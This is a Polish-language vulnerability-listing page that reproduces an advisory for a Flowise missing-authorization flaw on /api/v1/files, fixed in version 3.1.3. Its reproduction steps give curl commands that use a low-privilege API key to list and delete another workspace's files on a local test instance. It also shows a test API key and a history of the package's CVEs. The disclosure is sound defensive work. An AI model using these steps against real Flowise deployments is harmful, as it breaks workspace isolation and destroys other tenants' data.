Wysoka

Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization

  • Ujawniono: 04.08.2026
  • Aktualizacja: 11.10.2026 10:22

summary:

In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.

details:

The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:

  • getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage root
  • deleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled path

As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:

  • called GET /api/v1/files and received 200 OK
  • listed a test file stored under a different workspace, f92a9a4d-392e-4db2-af82-d14e1d553446
  • called DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt and received 200 OK
  • confirmed the file was removed by re-querying the file list

impact:

Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.

reproduction steps:

  1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:
bash
curl -i -b tamako.cookie \
  -H 'x-request-from: internal' \
  -H 'Content-Type: application/json' \
  -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
  http://localhost:8080/api/v1/apikey
  1. Record the returned API key. In my local test, the key was:
  • ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E
  1. Prepare a test file under a different workspace within the same organization, for example:
  • f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt
  1. Use the low-privileged API key to list files:
bash
curl -i \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  http://localhost:8080/api/v1/files
  1. Observe a 200 OK response that includes a file from another workspace, for example:
js
[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]
  1. Use the same API key to delete that file:
bash
curl -i -X DELETE --get \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
  http://localhost:8080/api/v1/files
  1. Observe a 200 OK response:
js
{"message":"file_deleted"}
  1. Call GET /api/v1/files again and confirm that the file is no longer present.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm flowise < 3.1.3 3.1.3

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-862
Platforma
npm
Paczka
flowise
Ujawniono
04.08.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-wp74-f5hh-5f3r - CC BY 4.0

Historia podatności: flowise

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (114) w archiwum
Wszystkich wpisów
114
Pierwsza → ostatnia
04.2024 10.2026
Bez poprawki
16
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 28
  • Wysoka 62
  • Średnia 24

Ujawnienia w latach

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Istotność:
  1. Wysoka CVE-2026-70474 < 3.1.3 3.1.3
  2. Krytyczna CVE-2026-69259 < 3.1.3 3.1.3
  3. Krytyczna CVE-2026-69256 < 3.1.3 3.1.3
  4. Krytyczna CVE-2026-69253 < 3.1.3 3.1.3
  5. Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization ten wpis
    Wysoka CVE-2026-69252 < 3.1.3 3.1.3
  6. Krytyczna CVE-2026-69251 < 3.1.3 3.1.3
  7. Wysoka · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  8. Wysoka CVE-2026-46443 < 3.1.2 3.1.2
  9. Wysoka CVE-2026-56274 < 3.1.2 3.1.2
  10. Wysoka · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
Pokaż więcej (20) Widać 40 z 90

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.